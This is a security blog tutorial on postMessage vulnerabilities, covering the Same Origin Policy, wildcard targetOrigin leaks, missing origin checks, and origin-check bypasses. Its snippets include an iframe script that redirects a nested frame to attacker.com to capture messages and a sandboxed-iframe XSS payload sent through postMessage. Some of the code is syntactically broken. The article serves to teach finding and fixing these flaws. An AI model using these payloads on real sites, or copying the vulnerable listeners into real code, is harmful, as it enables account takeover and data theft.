1

Exploiting post message vulnerabilities for Fun and Profit

In this blog, we talk about how to prevent, exploit and find post message vulnerabilities for cross origin communication
postMessage Same Origin Policy Cross Origin Communication XSS DOM-Based XSS Account Takeover Information Disclosure Bypass
Bhavarth Karmarkar
October 13th 2023.
Exploiting post message vulnerabilities for Fun and Profit

Exploiting Post Message for Fun and Profit

Background

Before we dive into the vulnerabilies posed by postMessage() function of javascript, we need a bit of background knowledge. Since postMessage() came into existence because of a browser security mechanism enforced by the Same Origin Policy, we need to understand it first.

What is Same Origin Policy?

The browser enforces a Same Origin Policy which prevents websites from attacking each other. Suppose that you are an attacker who has set up a phishing page, on which you make a get request to https://examplebank.com/userAccount/getAccountInformation.aspx . Let's say a victim visiting your website is logged into this bank, the default behaviour for the browser is to always include the cookies of a website in a request made to it. Since the victim is logged in, the page getAccountInformation.aspx will return the user's information in it's response. Now if the Same Origin Policy didn't exist, the attacker hosting the phishing page can simple load the "getAccountInformation.aspx" page in an invisible iframe on the victim's browser and read the data returned by it.
Here comes the Same Origin Policy, which is like a guideline that tells the browser which Origins it allows to be read or modified by JavaScript.
According to PortSwigger:

The same-origin policy restricts scripts on one origin from accessing data from another origin. An origin consists of a URI scheme, domain and port number.
For example, consider the following URL:
http://normal-website.com:8080/example/example.html
The scheme: http , domain(including subdomain): normal-website.com and the port number: 8080, form an origin for this page and all the three things must be same for any other URI to be considered to be from the same origin. The same origin policy will prevent any page from another origin to read the contents of this page and vice versa.
Now that we know what the SOP(Same Origin Policy) is, we can begin to see why postMessage came into existence.

The JavaScript postMessage() function

The javascript postMessage function allows two windows from different or same origins to send and receive data from one another. When a page in one window (called parent) opens another window in either an iframe or in a popup (called child) this method can allow the parent windows and child window to send data to each other using postMessage. The syntax of postMessage() is:

1postMessage(message, targetOrigin, transfer) 2

The message can be any datatype within javascript, targetOrigin specifies the origin that the message is intended for and transfer is a sequence of Transferable Objects.
In short, postMessage is a secure way to circumvent the same origin policy ... or is it?

Common Pitfalls

Now that we have an understanding of how and why the postMessage function is used, we have reached the fun part of this blog - Exploiting it!
Using postMessage is one of the ways that two cross origin web pages can communicate with each other, moreover developers fail to understand the implications that a vulnerability of cross origin messaging can entail. So let us look at some common pitfalls:

Wildcard targetOrigin

The target Origin is required to be set to a specific origin that is intended receiver of the message. But it's a common and dangerous mistake for developers to include a wildcard * in place of targetOrigin, which will allow any origin to access the messages which is harmful if the message includes any sensitive data. An example scenario can be seen below:
Suppose, that page at https://somewebsite.com embeds a child window or an iframe with an origin http://sub.somewebsite.com , which sends a postMessage which was supposedly intended for http://somewebsite.com , but the developer made this mistake of specifying * wildcard as the targetOrigin:

1parentWindow.postMessage({"user_email":"[email protected]"},"*") 2

If http://somewebsite.com does not have X-Frame-Header protection set...an attacker can host a malicious webpage exploiting this behaviour by changing the location of the window object in the iframe loaded by http://somewebsite.com i.e http://sub.somewebsite.com to http://attacker.com

1 <iframe src="https://somewebsite.com" /> //1 2 <script> 3 setTimeout(exp, 6000); //2 4 5 function exp(){ 6 window.frames[0].frames[0].location="https://attacker.com/exploit.html"; 7 }, 100); //3 8 9 </script> 10

Let's understand this one line at a time:

  1. The first line embeds the page at "https://somewebsite.com" in an iframe.
  2. This line sets up a function exp to be executed after 6s. The delay is to make sure that the iframe is properly loaded.
  3. The exp function further sets up a logic to change the location of the iframe object which will set it's origin to the attacker's domain.
    Now the postMessage meant for somewebsite.com will instead be sent to the attacker controlled domain. A detailed description of a bug found in the wild on docs.google.com can be found here.

Insufficient/Lacking origin check

In the receiving end of the messages, the window sets up a listener for 'message' events and registers the function responsible for handling messages received.

1window.addEventListener("message", (event) => { 2if (event.origin !== "http://legitimatesite.org:8080") 3return; 4// perform some action 5}, false); 6

In this above code, the function registered for handling messages does a check or validation to ensure that the message it is about to process has originated from a trusted domain, which is really important before any sensitive action, such as updating user's information or processing a payment is performed based on that data. An example to demonstrate this:

1 2 window.addEventListener('message',function (event) { 3 const data = JSON.parse(event.data); 4 const accountDiv = getElementById("account-div"); 5 accountDiv.innerHTML = data.message; 6 } 7

As we can see in the above snippet, no validation on the data is being performed before using it to change the innerHTML of a web page, this can lead to an attacker embedding the webpage in iframe and sending an XSS payload which can steal all the user's data logged in to the site.

Spotting postMessage vulnerabilities

The best way to spot postMessage vulnerabilities is to look out for the event listeners for 'message' event which can be spotted by

  1. Searching through the Javascript code for postMessage or onMessage and addEventListener('message', ...)
  2. Executing getEventListeners(window) in the console or by clicking Sources > Event Listener Breakpoints > Window in the developer Console.
  3. Using Browser Extensions: https://github.com/benso-io/posta , https://github.com/fransr/postMessage-tracker

More Bypasses

Bypassing Origin Checks

  • Bypass checks using IndexOf :
1window.addEventListener('message',function () { 2if e.origin.indexOf("https://legitimate.com") == -1 { 3//deny 4} else { 5//allow 6} 7

Such a check can be easily bypassed by registering a subdomain like : https://legitimate.com.attacker.site which is still an attacker controlled website.

  • Bypass checks using the String.search function
    The string search function always expects a regex to search for in the main string, anything not a regex gets implicitly converted into one. For Eg:
1window.addEventListener('message',function (e) { 2if "https://legitimatesite.com".search(e.origin) == -1 { 3//deny 4} else { 5//allow 6} 7

Such a check can be bypassed easily by just passing a domain as legit.matesite.com where the . will match a single character as it got converted to a regex and legit.matesite will match with legitimatesite.

Bypassing e.origin == window.origin

This bypass can be achieved by framing our own page within a sandboxed iframe which sets the origin of the iframe to null, We also need to set the allow-popups tag which will make all the popups inherit all the sandboxed attributes, i.e. the origin will be again set to null.

1f = document.createElement('iframe'); 2f.sandbox = 'allow-scripts allow-popups allow-top-navigation'; 3f.srcdoc = ` 4let w = open('https://so-xss.terjanq.me/iframe.php'); 5setTimeout(_ => { 6w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*') 7}, 1000); 8` 9

This will cause both the e.origin == window.origin == null and bypass the check.

X-Frame-Header bypass

Some headers like X-Frame-Header can prevent a webpage from getting iframed. In such you can open a new tab to the vulnerable web application and communicate with it:

1var w=window.open("<url>") 2setTimeout(function(){w.postMessage('...','*');}, 2000); 3

References

[1] https://portswigger.net/web-security/cors/same-origin-policy
[2] https://book.hacktricks.xyz/pentesting-web/postmessage-vulnerabilities
[3] https://medium.com/@chiragrai3666/exploiting-postmessage-e2b01349c205

Table of Contents

  • Exploiting Post Message for Fun and Profit

Let's take your security
to the next level

security